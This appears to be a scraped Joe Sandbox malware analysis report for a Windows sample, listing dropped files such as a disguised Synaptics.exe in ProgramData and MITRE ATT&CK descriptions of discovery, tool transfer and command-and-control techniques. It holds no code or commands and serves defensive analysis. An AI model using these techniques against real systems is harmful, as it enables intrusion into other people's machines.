Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LisectAVT_2403002A_282.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_eb29f521-6482-4a4f-9dc4-5125bff672a2\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1030.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1050.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE0B2.tmp.dmp

C:\ProgramData\Synaptics\RCXF23B.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\16oXzft.ini

C:\Users\user\AppData\Local\Temp\2t4uJRv.ini

C:\Users\user\AppData\Local\Temp\4EZWtmE.ini

C:\Users\user\AppData\Local\Temp\52pecbn.ini

C:\Users\user\AppData\Local\Temp\5OFXbYH.ini

Windows Analysis Report
LisectAVT_2403002A_282.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre